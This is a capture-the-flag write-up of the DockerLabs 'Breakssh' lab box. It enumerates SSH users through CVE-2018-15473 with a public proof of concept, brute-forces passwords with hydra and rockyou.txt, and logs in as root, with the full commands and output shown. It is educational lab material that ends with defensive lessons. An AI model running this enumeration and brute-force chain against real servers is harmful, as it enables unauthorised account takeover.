the_open_door
coffee
ESEN

Breakssh

DockerLabsEasyLinux172.17.0.24 min read

The IP may vary: the lab had to be restarted at some point, so screenshots and commands might show a different address. Replace it with the one from your own instance.

#dockerlabs#ssh#user-enumeration#cve-2018-15473#brute-force#hydra
TL;DR. Breakssh is a single-service box: an SSH whose version, 7.7, is the last one affected by user enumeration (CVE-2018-15473). A first pass with a short wordlist only confirms root; with a list of millions of names six accounts show up, of which only two have a shell. A hydra brute force hands over their passwords and with them you log in over SSH. The whole challenge lives on port 22.

Recon#

Initial scan#

The port scan leaves a single open port: SSH.


sudo nmap -sS -n -Pn -p- --min-rate 5000 -vvv --open 172.17.0.2
PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 64
MAC Address: 02:42:AC:11:00:02 (Unknown)

The scan ran with -vvv, which is why the table carries the REASON column: the syn-ack's ttl 64 points to Linux, as expected inside a container.


nmap -p22 -sCV 172.17.0.2
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.7 (protocol 2.0)
| ssh-hostkey:
|   2048 1a:cb:5e:a3:3d:d1:da:c0:ed:2a:61:7f:73:79:46:ce (RSA)
|   256 54:9e:53:23:57:fc:60:1e:c0:41:cb:f3:85:32:01:fc (ECDSA)
|_  256 4b:15:7e:7b:b3:07:54:3d:74:ad:e0:94:78:0c:94:93 (ED25519)
MAC Address: 02:42:AC:11:00:02 (Unknown)

The version is exactly OpenSSH 7.7, the last of the range affected by CVE-2018-15473 (the fix lands in 7.8).

Access: SSH user enumeration#

CVE-2018-15473#

In OpenSSH older than 7.8 the server takes a different amount of time to respond depending on whether the user is valid or not: for an existing user it processes the (fake) public-key authentication and answers later; for a non-existent one it cuts off sooner. Measuring that difference tells a valid user from an invalid one, which lets you enumerate them without credentials. We use Sait-Nuri's public PoC:


git clone https://github.com/Sait-Nuri/CVE-2018-15473.git
Cloning into 'CVE-2018-15473'...
remote: Enumerating objects: 16, done.
remote: Counting objects: 100% (16/16), done.
remote: Compressing objects: 100% (13/13), done.
remote: Total 16 (delta 2), reused 0 (delta 0), pack-reused 0 (from 0)
Receiving objects: 100% (16/16), 5.04 KiB | 1.68 MiB/s, done.
Resolving deltas: 100% (2/2), done.

The repository ships the script and its dependency file:


ls
CVE-2018-15473.py  README.md  requirements.txt

argparse is not installed and the script will not start without it. On a recent Kali pip3 refuses to touch the system environment, hence the --break-system-packages:


pip3 install -r requirements.txt --break-system-packages
Collecting argparse (from -r requirements.txt (line 1))
...
Using cached argparse-1.4.0-py2.py3-none-any.whl (23 kB)
Installing collected packages: argparse
Successfully installed argparse-1.4.0

The 2>/dev/null discards whatever the script writes to the error channel. With the short wordlist, seventeen generic names, only one hits:


python3 CVE-2018-15473.py -p 22 -w /home/krmena/SecLists/Usernames/top-usernames-shortlist.txt 172.17.0.2 2>/dev/null
[+] root is a valid username
[-] admin is an invalid username
[-] test is an invalid username
[-] guest is an invalid username
[-] info is an invalid username
[-] adm is an invalid username
[-] mysql is an invalid username
[-] user is an invalid username
[-] administrator is an invalid username
[-] oracle is an invalid username
[-] ftp is an invalid username
[-] pi is an invalid username
[-] puppet is an invalid username
[-] ansible is an invalid username
[-] ec2-user is an invalid username
[-] vagrant is an invalid username
[-] azureuser is an invalid username
Valid Users:
root

A single user does not get you far. The same enumeration against SecLists' multi-million name list turns up five more, although it had to be cut short with Ctrl+C because at that rate it was not going to finish. The script shows up here as ssh_enum_7.7.py and not as the CVE-2018-15473.py the git clone left behind: it prints exactly the same format, so everything points to the same file renamed, but the note does not record it, which is why it is published under the name the capture shows.


python3 ssh_enum_7.7.py -p 22 -w /home/krmena/SecLists/Usernames/xato-net-10-million-usernames.txt 172.17.0.2 2>/dev/null
[-] info is an invalid username
[-] admin is an invalid username
[-] 2000 is an invalid username
...
[-] elizabeth is an invalid username
^C[-] davide is an invalid username
^C[-] darius is an invalid username
[-] dana is an invalid username
^CEnumeration aborted
Valid Users:
lovely
mail
root
news
man
bin

Of those six, mail, news, man and bin are system accounts with nologin: they exist, but you cannot log in with them. The usable ones are the two with an assigned shell, root and lovely.

Exploitation: hydra brute force#

Knowing root exists, there is no need to multiply each password by each user: -l pins the account and hydra only walks the wordlist. The -I keeps it from asking about the previous session file:


hydra -l root -P /home/krmena/rockyoudir/rockyou.txt ssh://172.17.0.2 -t 10 -I
...
[DATA] attacking ssh://172.17.0.2:22/
[22][ssh] host: 172.17.0.2   login: root   password: estrella
...

With the six names from the second pass the opposite now makes sense, a user list with -L, which is what separates the real accounts from the system ones without reading /etc/passwd:


nano breaksshuserlist

hydra -L breaksshuserlist -P /home/krmena/rockyoudir/rockyou.txt ssh://172.17.0.2 -t 10 -I
...
[DATA] attacking ssh://172.17.0.2:22/
[22][ssh] host: 172.17.0.2   login: root     password: estrella
[22][ssh] host: 172.17.0.2   login: lovely   password: rockyou
...

Only two fall, and they are exactly the two with a shell. The other four return no password no matter that they exist.

With root's credentials the box hands itself over whole:


ssh root@172.17.0.2
root@172.17.0.2's password:
...
root@38a04af0d1cc:~# whoami
root
root@38a04af0d1cc:~# hostname
38a04af0d1cc
root@38a04af0d1cc:~# hostname -I
172.17.0.2

And lovely serves as an unprivileged user access, with an empty $HOME:


ssh lovely@172.17.0.2
lovely@172.17.0.2's password:
...
lovely@38a04af0d1cc:~$ whoami
lovely
lovely@38a04af0d1cc:~$ ls -la
total 28
drwxr-xr-x 1 lovely lovely 4096 Nov  5 00:40 .
drwxr-xr-x 1 root   root   4096 May 11 21:45 ..
-rw------- 1 lovely lovely  129 Nov  5 00:40 .bash_history
-rw-r--r-- 1 lovely lovely  220 May 15  2017 .bash_logout
-rw-r--r-- 1 lovely lovely 3526 May 15  2017 .bashrc
-rw-r--r-- 1 lovely lovely  675 May 15  2017 .profile
lovely@38a04af0d1cc:~$ hostname -I
172.17.0.2
lovely@38a04af0d1cc:~$ hostname
38a04af0d1cc

Attack chain#

SSH (OpenSSH 7.7)  ->  CVE-2018-15473 (timing enumeration)
    └─> short wordlist: root  ->  hydra -l  ->  root:estrella
    └─> long wordlist: lovely, mail, root, news, man, bin
            └─> hydra -L  ->  only the two with a shell  ->  lovely:rockyou
            └─> ssh  ->  access (root)

Lessons learned#

  • The wordlist decides what you find. The short seventeen-name list only confirmed root; the multi-million one turned up five more, and one of them, lovely, is half the challenge. The same command with a different input gives a different result.
  • An old OpenSSH leaks its user list. CVE-2018-15473 grants no access by itself, but it turns a blind brute force into an attack aimed at accounts you know exist.
  • -l and -L do not compete, they chain. With a single confirmed user, -l pins the account and hydra only walks the wordlist. With a list of candidates, -L is what separates the real accounts from the system ones without having to read /etc/passwd from inside.
  • Only accounts with a shell count. Enumeration marks mail, news, man and bin as valid; they exist but carry nologin, and none of them returns a password.
  • Exposed SSH with weak passwords is still the simplest vector. estrella and rockyou are both in rockyou.txt. Updating OpenSSH and enforcing key-based authentication would have closed both steps.
Command cheatsheet 7 commands

Quick review